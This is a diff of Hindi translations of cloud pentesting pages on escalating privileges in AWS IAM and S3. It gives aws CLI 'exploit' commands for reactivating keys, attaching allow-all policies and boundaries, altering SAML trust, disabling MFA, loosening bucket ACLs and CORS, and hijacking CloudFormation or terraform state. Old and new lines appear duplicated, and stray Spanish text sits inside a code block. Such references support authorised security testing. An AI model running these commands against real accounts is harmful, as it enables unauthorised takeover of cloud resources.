|
||||
एक disabled access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकती है यदि attacker के पास वह disabled key मौजूद हो।
|
||||
निष्क्रिय access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकता है यदि attacker के पास वह निष्क्रिय key हो।
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**प्रभाव:** access keys को पुनः सक्रिय करके सीधे privilege escalation प्राप्त करना।
|
||||
**प्रभाव:** access keys को पुनः सक्रिय करके प्रत्यक्ष privilege escalation।
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
विशिष्ट AWS सेवाओं (e.g., CodeCommit, Amazon Keyspaces) के लिए credentials जनरेट या रीसेट करने की अनुमति देता है, जो संबंधित user की permissions को inherit करता है।
|
||||
विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए credentials जनरेट या रिसेट करने की अनुमति देता है, जो संबंधित उपयोगकर्ता की permissions को विरासत में लेते हैं।
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -79,25 +79,25 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**प्रभाव:** उपयोगकर्ता की सेवा अनुमतियों के भीतर प्रत्यक्ष privilege escalation।
|
||||
**प्रभाव:** Direct privilege escalation उपयोगकर्ता की सेवा अनुमतियों के भीतर।
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
यह उपयोगकर्ताओं या समूहों पर नीतियाँ जोड़ने की अनुमति देता है, जिससे संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे privilege escalation हो जाता है।
|
||||
यह उपयोगकर्ताओं या समूहों पर नीतियाँ अटैच करने की अनुमति देता है, संलग्न नीति की अनुमतियों को ग्रहण करके सीधे privileges बढ़ा देता है।
|
||||
|
||||
**Exploit for User:**
|
||||
**Exploit उपयोगकर्ता के लिए:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit के लिए Group:**
|
||||
**Group के लिए Exploit:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**प्रभाव:** किसी भी चीज़ के लिए प्रत्यक्ष privilege escalation जो नीति प्रदान करती है।
|
||||
**प्रभाव:** नीति द्वारा दिए गए किसी भी अधिकार तक सीधे privilege escalation।
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियाँ संलग्न या लागू करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर प्रत्यक्ष privilege escalation संभव हो जाता है।
|
||||
यह रोल, उपयोगकर्ता, या समूहों पर नीतियाँ संलग्न (attach) या जोड़ने (put) की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे privilege escalation संभव होता है।
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation।
|
||||
**प्रभाव:** नीतियों के माध्यम से अनुमतियाँ जोड़कर सीधे privilege escalation।
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
किसी IAM group में खुद को जोड़ने की अनुमति देता है, जिससे group की permissions inherit करके escalating privileges प्राप्त होते हैं।
|
||||
खुद को एक IAM group में जोड़ने की अनुमति देता है, जिससे समूह की अनुमतियाँ inherit करके privileges escalate हो जाते हैं।
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**प्रभाव:** समूह की अनुमतियों के स्तर तक प्रत्यक्ष privilege escalation।
|
||||
**Impact:** समूह के permissions के स्तर तक Direct privilege escalation।
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
यह किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करना और उससे जुड़ी अनुमतियाँ प्राप्त करना संभव हो जाता है।
|
||||
यह किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role और उससे संबंधित permissions को assume करना संभव हो जाता है।
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
जब पॉलिसी निम्नानुसार दिखती है, जो उपयोगकर्ता को उस भूमिका को ग्रहण करने की अनुमति देती है:
|
||||
जहाँ पॉलिसी निम्नलिखित जैसी दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,11 +163,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**प्रभाव:** किसी भी role की permissions को assume करके सीधा privilege escalation।
|
||||
**Impact:** किसी भी role की permissions को assume करके सीधे privilege escalation।
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जो संभावित अप्रत्यक्ष privilege escalation का कारण बन सकता है।
|
||||
यह CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है।
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -181,20 +181,20 @@ aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_num
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
यह MFA डिवाइस को पुनर्सिंक करने की अनुमति देता है, जिससे MFA सुरक्षा में छेड़छाड़ करके संभावित रूप से अप्रत्यक्ष privilege escalation हो सकता है।
|
||||
यह MFA डिवाइस को पुन:सिंक करने की अनुमति देता है, और MFA सुरक्षा को हेरफेर करके संभावित रूप से अप्रत्यक्ष privilege escalation का कारण बन सकता है।
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**प्रभाव:** MFA devices को जोड़ने या बदलने से अप्रत्यक्ष privilege escalation।
|
||||
**Impact:** अप्रत्यक्ष privilege escalation — MFA devices जोड़कर या उन्हें बदलकर।
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
इन permissions के साथ आप **change the XML metadata of the SAML connection** कर सकते हैं। फिर आप **SAML federation** का दुरुपयोग करके किसी भी ऐसे **role that is trusting** के साथ **login** कर सकते हैं।
|
||||
इन permissions के साथ आप **SAML connection के XML metadata को बदल** सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role** के साथ **login** कर सकते हैं जो उस पर trust करता है।
|
||||
|
||||
ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालांकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना XML डालकर login कर सकते हैं और पहले वाली सेटिंग वापस configure कर सकते हैं।
|
||||
ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डालकर login कर सकते हैं और पहले वाले को फिर से configure कर सकते हैं।
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: एक टूल जो निर्दिष्ट role के साथ SAML metadata जनरेट कर सके और लॉगिन कर सके
|
||||
> TODO: एक ऐसा टूल जो SAML metadata जेनरेट कर सके और निर्दिष्ट role के साथ login कर सके
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(इसके बारे में निश्चित नहीं) अगर किसी attacker के पास ये **permissions** हों तो वह एक नया **Thumbprint** जोड़कर provider पर भरोसा करने वाले सभी roles में लॉगिन कर सकता है।
|
||||
(Unsure about this) यदि एक attacker के पास ये **permissions** हों, तो वह एक नया **Thumbprint** जोड़ सकता है जिससे वह उस provider पर भरोसा करने वाले सभी roles में login कर सके।
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
यह permission एक attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, जिससे वे अपनी privileges escalate कर सकते हैं — और उन actions को कर सकते हैं जो सामान्यतः उनके मौजूदा permissions द्वारा प्रतिबंधित होते हैं।
|
||||
यह permission attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, संभावित रूप से उनकी privileges escalate करते हुए उन्हें उन actions की अनुमति देकर जो सामान्यतः उनकी मौजूदा permissions द्वारा प्रतिबंधित होते हैं।
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
जिसके पास iam:PutRolePermissionsBoundary अनुमति है, वह मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला व्यक्ति किसी role की boundary बदलता है: वह संचालन को अनुचित रूप से प्रतिबंधित कर सकता है (जिससे service disruption हो सकता है) या, यदि वह permissive boundary संलग्न करता है, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकता है और privileges escalate कर सकता है।
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
उपरोक्त permissions वाले attacker को कुछ रोचक buckets पर resources hijack करने और privileges escalate करने की क्षमता मिल सकती है।
|
||||
उन रुचिकर buckets पर उन permissions वाले attacker resources को hijack कर के privileges escalate कर सकता है।
|
||||
|
||||
उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नाम के एक attacker के पास ये **permissions over a cloudformation bucket** होने पर deployment को hijack करने में सक्षम होगा। Access नीचे दी गई policy के माध्यम से दिया जा सकता है:
|
||||
उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नामक **permissions over a cloudformation bucket** वाले attacker deployment को hijack करने में सक्षम होगा। निम्नलिखित policy से access दिया जा सकता है:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,30 +34,29 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
और hijack संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण** से लेकर **टेम्पलेट deploy होने** तक एक छोटा समय विंडो होता है। एक attacker बस अपने account में एक **lambda function** बना सकता है जो **trigger** होगा जब एक **bucket notification** भेजा जाता है, और उस **bucket** के **content** को **hijacks** कर लेगा।
|
||||
और hijack इसलिए संभव है क्योंकि template को bucket में upload किए जाने के क्षण से लेकर template के deploy होने तक एक **छोटी समय विंडो** होती है। एक attacker अपने account में एक **lambda function** बना सकता है जो **bucket notification भेजे जाने पर trigger** होगा, और उस **bucket** की **content** को **hijacks** कर लेगा।
|
||||
|
||||
.png>)
|
||||
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) को इस attack को automate करने के लिए इस्तेमाल किया जा सकता है।\
|
||||
अधिक जानकारी के लिए मूल रिसर्च देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस attack को automate करने के लिए किया जा सकता है।\
|
||||
अधिक जानकारी के लिए मूल research देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
ये वे permissions हैं जो S3 पर **objects प्राप्त करने और अपलोड करने** की अनुमति देती हैं। कई सेवाएं, AWS के अंदर (और बाहर) S3 storage का उपयोग **config files** रखने के लिए करती हैं।\
|
||||
यदि एक attacker के पास इन पर **read access** है तो वह इन फाइलों में **sensitive information** पा सकता है।\
|
||||
यदि एक attacker के पास इन पर **write access** है तो वह **डेटा को modify करके किसी सेवा का दुरुपयोग कर सकता है और privileges escalate करने की कोशिश कर सकता है**।\
|
||||
यहाँ कुछ उदाहरण दिए गए हैं:
|
||||
ये permissions हैं जो **S3 में objects को प्राप्त और अपलोड करने** के लिए होती हैं। AWS के अंदर (और बाहर) कई services S3 storage को **config फ़ाइलें** स्टोर करने के लिए उपयोग करती हैं।\
|
||||
अगर किसी attacker को इन पर **read access** है तो वह इनमें **sensitive information** पा सकता है।\
|
||||
और अगर किसी attacker के पास इन पर **write access** है तो वह **data को modify करके किसी service का दुरुपयोग कर सकता है और privileges escalate करने की कोशिश कर सकता है**।\
|
||||
ये कुछ उदाहरण हैं:
|
||||
|
||||
- यदि एक EC2 instance अपने **user data को एक S3 bucket में** स्टोर कर रहा है, तो एक attacker इसे modify करके **EC2 instance के अंदर arbitrary code execute** करवा सकता है।
|
||||
- अगर कोई EC2 instance **user data in a S3 bucket** स्टोर कर रहा है, तो attacker इसे modify करके **execute arbitrary code inside the EC2 instance** करवा सकता है।
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
यह बहुत आम है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files cloud providers के blob storage में सेव की जाती हैं, जैसे AWS S3। state फ़ाइल का suffix `.tfstate` होता है, और bucket के नाम अक्सर यह दर्शाते हैं कि वे terraform state files रखते हैं। सामान्यतः हर AWS account में ऐसी एक bucket होती है जो account की state दिखाने वाली state files को स्टोर करती है।\
|
||||
अक्सर, वास्तविक दुनिया के खातों में लगभग हमेशा सभी developers के पास `s3:*` permissions होते हैं और कभी-कभी business users के पास भी `s3:Put*` होते हैं।
|
||||
यह बहुत सामान्य है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state फाइलें cloud providers के blob storage में सेव की जाती हैं, जैसे AWS S3। state फाइल का suffix `.tfstate` होता है, और bucket के नाम अक्सर संकेत देते हैं कि वे terraform state files contain करते हैं। आमतौर पर हर AWS account में ऐसे state files स्टोर करने के लिए एक bucket होता है जो account की state दिखाते हैं। रियल-वर्ल्ड accounts में अक्सर अधिकांश developers के पास `s3:*` और कभी-कभी business users के पास भी `s3:Put*` permissions होते हैं।
|
||||
|
||||
तो, यदि आपके पास इन फाइलों पर सूचीबद्ध permissions हैं, तो एक attack vector मौजूद है जो आपको pipeline में `terraform` के privileges के साथ RCE पाने की अनुमति देता है — अधिकतर समय `AdministratorAccess`, जिससे आप cloud account के admin बन जाते हैं। साथ ही, आप इस vector का उपयोग `terraform` को वैध resources delete करने के लिए कर के denial of service attack भी कर सकते हैं।
|
||||
तो, यदि आपके पास इन फाइलों पर सूचीबद्ध permissions हैं, तो एक attack vector मौजूद है जो आपको pipeline में `terraform` की privileges के साथ RCE पाने का मौका देता है — अधिकांश मामलों में `AdministratorAccess`, जिससे आप cloud account के admin बन सकते हैं। आप इस vector का उपयोग `terraform` को legitimate resources delete करवाकर denial of service attack करने के लिए भी कर सकते हैं।
|
||||
|
||||
सीधे उपयोग योग्य exploit code के लिए *Terraform Security* पेज के *Abusing Terraform State Files* सेक्शन में दी गई व्याख्या का पालन करें:
|
||||
सीधा उपयोग करने योग्य exploit code के लिए *Abusing Terraform State Files* सेक्शन को *Terraform Security* पेज में देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -65,7 +64,7 @@ The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
एक attacker, जिसे **same account** से होना चाहिए (यदि नहीं तो `The specified method is not allowed` error ट्रिगर होगा), इस permission के साथ अपने आप को उस bucket(s) पर और अधिक permissions दे सकेगा, जिससे वह उन्हें read, write, modify, delete और expose कर सकेगा।
|
||||
एक attacker, जिसे **same account** का होना चाहिए, अन्यथा error `The specified method is not allowed will trigger` दिखेगा, इस permission के साथ अपने लिए bucket(s) पर अधिक permissions grant कर सकता है जो उसे buckets को read, write, modify, delete और expose करने की अनुमति देते हैं।
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
एक attacker इन permissions का दुरुपयोग करके specific buckets पर **उसे अधिक access प्रदान कर सकता है।**\
|
||||
ध्यान दें कि attacker का same account से होना आवश्यक नहीं है। इसके अलावा write access
|
||||
एक हमलावर इन अनुमतियों का दुरुपयोग करके विशेष बकेट्स पर **अपने लिए अधिक पहुँच प्राप्त कर सकता है**.\
|
||||
ध्यान दें कि हमलावर का उसी खाते से होना आवश्यक नहीं है। इसके अलावा लिखने की पहुँच
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
एक attacker इन permissions का दुरुपयोग करके buckets के अंदर specific objects पर खुद को अधिक access दे सकता है।
|
||||
एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access दे सकता है।
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
इन विशेषाधिकारों वाले हमलावर को किसी विशिष्ट ऑब्जेक्ट संस्करण पर Acl लगाने में सक्षम माना जाता है।
|
||||
इन विशेषाधिकारों वाले हमलावर को किसी विशिष्ट object version पर Acl लगाने में सक्षम माना जाता है।
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
s3:PutBucketCORS permission वाले attacker किसी bucket की CORS (Cross-Origin Resource Sharing) configuration को बदल सकते हैं, जो नियंत्रित करती है कि कौन से web domains उसके endpoints तक access कर सकते हैं। यदि वे एक permissive policy सेट कर दें, तो कोई भी website सीधे bucket को requests भेज सकती है और browser से responses पढ़ सकती है।
|
||||
|
||||
इसका अर्थ है कि संभावित रूप से, यदि bucket से hosted किसी web app का authenticated user attacker की website पर जाता है, तो attacker permissive CORS policy का फायदा उठा सकता है और, application पर निर्भर करते हुए, user के profile डेटा तक पहुँच सकता है या यहाँ तक कि user का account hijack कर सकता है।
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user